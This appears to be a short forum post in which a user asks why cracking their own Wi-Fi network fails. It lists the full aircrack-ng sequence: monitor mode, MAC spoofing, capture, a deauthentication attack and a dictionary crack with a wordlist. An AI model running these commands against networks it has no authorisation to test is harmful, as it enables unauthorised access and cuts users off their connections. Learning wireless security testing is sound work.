Ya i noticed it, but i don't know why i'm not getting handshake? i can't even crack my own network....SAD!

Here is all the step i'm using:

airmon-ng
airmon-ng start wlan0
airmon-ng
ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up
airodump-ng mon0
airodump-ng -c 11 -w redevilinux --bssid 00:XX:XX:XX:XX:XX --ivs mon0
aireplay-ng -0 1 -e M11X R2 mon0
aircrack-ng -w /root/Desktop/darkc0de.lst redevilinux-02.ivs

If i'm doing something wrong please let me know thx!
